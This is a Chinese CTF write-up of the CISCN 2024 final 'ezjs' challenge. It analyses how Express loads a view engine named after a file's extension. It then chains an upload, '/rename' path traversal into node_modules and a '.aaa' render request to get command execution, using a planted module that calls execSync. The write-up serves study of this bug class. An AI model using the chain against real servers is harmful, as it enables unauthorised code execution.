CISCN2024国决一道题的知识点,感觉还挺有意思
分析Express engine处理引擎的trick
流程链简析
当用express的解析模板引擎的时候,即使默认使用了ejs,但是也会有引擎修改的工程
大概调用链如下
1
| render() -> View() -> tryRender() -> this.engine()
|
漏洞分析
位置:node_modules\express\lib\application.js
从render()
函数开始分析
接收参数name,options,callback
,具体指
name
: 视图文件的名称。
options
: 渲染选项,可以包含局部变量等。
callback
: 可选的回调函数,通常用于处理渲染后的结果。
如果第二个参数是函数,则将其视为回调,并将options
设置为空对象
1 2 3 4
| if (typeof options === 'function') { done = options; opts = {}; }
|
往下看,如果renderOptions.cache
为空,调用enabled()
函数判断是否开启view cache
1 2 3
| if (renderOptions.cache == null) { renderOptions.cache = this.enabled('view cache'); }
|
关键代码在下面,由于view在没cache的情况下view变量默认是空的,所以继续调用View()
函数
1 2 3 4 5 6 7 8
| if (!view) { var View = this.get('view');
view = new View(name, { defaultEngine: this.get('view engine'), root: this.get('views'), engines: engines });
|
跟进一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| function View(name, options) { var opts = options || {};
this.defaultEngine = opts.defaultEngine; this.ext = extname(name); this.name = name; this.root = opts.root;
if (!this.ext && !this.defaultEngine) { throw new Error('No default engine was specified and no extension was provided.'); }
var fileName = name;
if (!this.ext) { this.ext = this.defaultEngine[0] !== '.' ? '.' + this.defaultEngine : this.defaultEngine;
fileName += this.ext; }
if (!opts.engines[this.ext]) { var mod = this.ext.slice(1) debug('require "%s"', mod)
var fn = require(mod).__express
if (typeof fn !== 'function') { throw new Error('Module "' + mod + '" does not provide a view engine.') }
opts.engines[this.ext] = fn } }
|
重点看后面部分,如果opts.engines[this.ext]
为空那么调用require()
函数
在这里__express()
函数被导入然后定义在opts.engines[this.ext]
,也就是说现在engine里有__express()
函数
通过搜索可以知道存在回调函数调用,那么我们就可以用来实现RCE
现在关键点在于opts.engines[this.ext]
是否可控,我们跟进extname()
函数
1
| var extname = path.extname;
|
发现作用就是获取文件拓展名,如果存在类似文件上传那么ext
就可控
我们回到render()
函数,在第609行处调用tryRender()
1 2 3 4 5 6 7
| function tryRender(view, options, callback) { try { view.render(options, callback); } catch (err) { callback(err); } }
|
继续跟进一下view.render()
1 2 3 4
| View.prototype.render = function render(options, callback) { debug('render "%s"', this.path); this.engine(this.path, options, callback); };
|
最后执行this.engine(this.path, options, callback);
漏洞利用
先准备好对应版本的express和ejs
1 2
| npm install express@4.17.2 npm install ejs@3.1.6
|
我们本地编写demo验证一下,index.js内容如下
1 2 3 4 5 6 7 8 9 10 11 12 13
| const express = require('express'); const ejs=require('ejs')
app=express() app.set('view engine', 'ejs'); app.get('/', (req,res) => { const page = req.query.filename res.render(page); })
app.listen('3000', () => { console.log(`http://localhost:3000`) })
|
当对filename传参为不附加后缀的,他会默认使用我们的ejs解析,也就是说
1 2
| 127.0.0.1/?filename=1 127.0.0.1/?filename=1.ejs //等价的
|
当我们键入一个自定义后缀1.aaa时候,会像前文提到的这样处理aaa
1 2 3 4 5
| var mod = this.ext.slice(1) debug('require "%s"', mod)
var fn = require(mod).__express
|
如果我们有一个文件上传位点可控,并且能把文件传到node_modules
下,其实就可以进行__express()
函数的使用
这里我们直接在本地node_modules
下建立一个aaa文件夹,添加一个index.js内容如下
(模拟文件上传功能)
1 2 3
| exports.__express = function() { console.log(require('child_process').execSync("id").toString()); }
|
然后键入任意文件名,后缀为aaa即可调用
1
| http://localhost:3000/?filename=1.aaa
|
我们可以debug调试看看,不过这里先修改下代码
位置在node_modules\express\lib\application.js
第576行,因为默认view.path
为空(实际情况不为空),所以等会调试的时候就会抛出异常,我们先把view.path
前面的!
去掉,等调试完再添加上去
准备好后,我们在node_modules\express\lib\view.js
第91行下断点
传参?filename=1.aaa
,可以发现engines内容是我们键入的代码
一步步调试到后面,虽然对照的default是ejs,但我们还是在engine里进行替换了我们要执行的函数
[例题]CISCN2024国决-ezjs
app.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165
| const express = require('express'); const ejs=require('ejs') const session = require('express-session'); const bodyParse = require('body-parser'); const multer = require('multer'); const fs = require('fs');
const path = require("path");
function createDirectoriesForFilePath(filePath) { const dirname = path.dirname(filePath);
fs.mkdirSync(dirname, { recursive: true }); } function IfLogin(req, res, next){ if (req.session.user!=null){ next() }else { res.redirect('/login') } }
const storage = multer.diskStorage({ destination: function (req, file, cb) { cb(null, path.join(__dirname, 'uploads')); }, filename: function (req, file, cb) { cb(null, file.originalname); } });
const upload = multer({ storage: storage, fileFilter: (req, file, cb) => { const fileExt = path.extname(file.originalname).toLowerCase(); if (fileExt === '.ejs') { return cb(new Error('Upload of .ejs files is not allowed'), false); } cb(null, true); } });
admin={ "username":"ADMIN", "password":"123456" } app=express() app.use(express.static(path.join(__dirname, 'uploads'))); app.use(express.json()); app.use(bodyParse.urlencoded({extended: false})); app.set('view engine', 'ejs'); app.use(session({ secret: 'Can_U_hack_me?', resave: false, saveUninitialized: true, cookie: { maxAge: 3600 * 1000 } }));
app.get('/',(req,res)=>{ res.redirect('/login') })
app.get('/login', (req, res) => { res.render('login'); });
app.post('/login', (req, res) => { const { username, password } = req.body; if (username === 'admin'){ return res.status(400).send('you can not be admin'); } const new_username = username.toUpperCase()
if (new_username === admin.username && password === admin.password) { req.session.user = "ADMIN"; res.redirect('/rename'); } else { } });
app.get('/upload', (req, res) => { res.render('upload'); });
app.post('/upload', upload.single('fileInput'), (req, res) => { if (!req.file) { return res.status(400).send('No file uploaded'); } const fileExt = path.extname(req.file.originalname).toLowerCase();
if (fileExt === '.ejs') { return res.status(400).send('Upload of .ejs files is not allowed'); } res.send('File uploaded successfully: ' + req.file.originalname); });
app.get('/render',(req, res) => { const { filename } = req.query;
if (!filename) { return res.status(400).send('Filename parameter is required'); }
const filePath = path.join(__dirname, 'uploads', filename);
if (filePath.endsWith('.ejs')) { return res.status(400).send('Invalid file type.'); }
res.render(filePath); });
app.get('/rename',IfLogin, (req, res) => {
if (req.session.user !== 'ADMIN') { return res.status(403).send('Access forbidden'); }
const { oldPath , newPath } = req.query; if (!oldPath || !newPath) { return res.status(400).send('Missing oldPath or newPath'); } if (newPath && /app\.js|\\|\.ejs/i.test(newPath)) { return res.status(400).send('Invalid file name'); } if (oldPath && /\.\.|flag/i.test(oldPath)) { return res.status(400).send('Invalid file name'); } const new_file = newPath.toLowerCase();
const oldFilePath = path.join(__dirname, 'uploads', oldPath); const newFilePath = path.join(__dirname, 'uploads', new_file);
if (newFilePath.endsWith('.ejs')){ return res.status(400).send('Invalid file type.'); } if (!oldPath) { return res.status(400).send('oldPath parameter is required'); }
if (!fs.existsSync(oldFilePath)) { return res.status(404).send('Old file not found'); }
if (fs.existsSync(newFilePath)) { return res.status(409).send('New file path already exists'); } createDirectoriesForFilePath(newFilePath) fs.rename(oldFilePath, newFilePath, (err) => { if (err) { console.error('Error renaming file:', err); return res.status(500).send('Error renaming file'); }
res.send('File renamed successfully'); }); });
app.listen('3000', () => { console.log(`http://localhost:3000`) })
|
upload.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| <!DOCTYPE html> <html lang="en"> <head> //省略部分代码 </head> <body> <div> <h1>Upload a File</h1>
<form action="/upload" method="POST" enctype="multipart/form-data"> <input type="file" name="fileInput" accept=".txt, .pdf, .jpg, .png" required> <button type="submit">Upload</button> </form>
<% if (typeof errorMessage !== 'undefined' && errorMessage) { %> <p class="error"><%= errorMessage %></p> <% } %> </div> </body> </html>
|
package.json
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| { "name": "express-file-upload-app", "version": "1.0.0", "description": "ezjs", "main": "app.js", "scripts": { "start": "node app.js" }, "dependencies": { "express": "^4.17.2", "ejs": "^3.1.6", "express-session": "^1.17.2", "body-parser": "^1.19.0", "multer": "^1.4.4" } }
|
通过package.json我们知道express和ejs的版本是存在利用的,配合文件上传实现Express engine处理引擎漏洞,而upload.js虽然限制上传文件类型,但是waf在前端可以抓包直接绕过。
我们重点还是分析app.js
/upload
路由实现文件上传功能
1 2 3 4 5 6 7 8 9 10 11
| app.post('/upload', upload.single('fileInput'), (req, res) => { if (!req.file) { return res.status(400).send('No file uploaded'); } const fileExt = path.extname(req.file.originalname).toLowerCase();
if (fileExt === '.ejs') { return res.status(400).send('Upload of .ejs files is not allowed'); } res.send('File uploaded successfully: ' + req.file.originalname); });
|
调用extname()
函数读取文件拓展名,限制了不准上传拓展名ejs的文件
/render
实现模板渲染功能
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| app.get('/render',(req, res) => { const { filename } = req.query;
if (!filename) { return res.status(400).send('Filename parameter is required'); }
const filePath = path.join(__dirname, 'uploads', filename);
if (filePath.endsWith('.ejs')) { return res.status(400).send('Invalid file type.'); }
res.render(filePath); });
|
接收参数文件名filename
,然后进行拼接成文件路径,如果不为.ejs
结尾那么对该文件进行渲染
/rename
实现重命名文件的功能
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
| app.get('/rename',IfLogin, (req, res) => {
if (req.session.user !== 'ADMIN') { return res.status(403).send('Access forbidden'); }
const { oldPath , newPath } = req.query; if (!oldPath || !newPath) { return res.status(400).send('Missing oldPath or newPath'); } if (newPath && /app\.js|\\|\.ejs/i.test(newPath)) { return res.status(400).send('Invalid file name'); } if (oldPath && /\.\.|flag/i.test(oldPath)) { return res.status(400).send('Invalid file name'); } const new_file = newPath.toLowerCase();
const oldFilePath = path.join(__dirname, 'uploads', oldPath); const newFilePath = path.join(__dirname, 'uploads', new_file);
if (newFilePath.endsWith('.ejs')){ return res.status(400).send('Invalid file type.'); } if (!oldPath) { return res.status(400).send('oldPath parameter is required'); }
if (!fs.existsSync(oldFilePath)) { return res.status(404).send('Old file not found'); }
if (fs.existsSync(newFilePath)) { return res.status(409).send('New file path already exists'); } createDirectoriesForFilePath(newFilePath) fs.rename(oldFilePath, newFilePath, (err) => { if (err) { console.error('Error renaming file:', err); return res.status(500).send('Error renaming file'); }
res.send('File renamed successfully'); }); });
|
接收参数oldPath
和newPath
- 检查
newPath
是否包含 app.js
、\
或者 .ejs
扩展名。如果包含这些模式,则返回一个状态码为 400 的错误响应
- 检查
oldPath
是否包含 ..
或者 flag
字符串。如果包含这些模式,则返回一个状态码为 400 的错误响应
然后对旧文件名和新文件名分别进行路径拼接,检查文件路径是否以 .ejs
结尾。最后调用rename()
对文件名进行重写
代码逻辑梳理清楚后,开始具体实现
我们用ADMIN:123456
进行登录,访问/upload
上传文件进行抓包,绕过前端检测
上传成功后,利用/rename
路由实现目录穿越,从而把此文件移动到node_modules
文件夹
paylaod如下
1
| /rename?oldPath=index.js&newPath=../node_modules/aaa/index.js
|
然后再上传一个.aaa
后缀的文件,接着访问/render
渲染该文件
参数engine里替换成我们的payload,成功命令执行
当然决赛的时候是不出网的,也就是payload要稍微改一下把执行结果写入到其他文件比如1.ejs内,然后再一次渲染1.ejs即可回显结果
参考文章
vscode调试nodejs
漏洞分析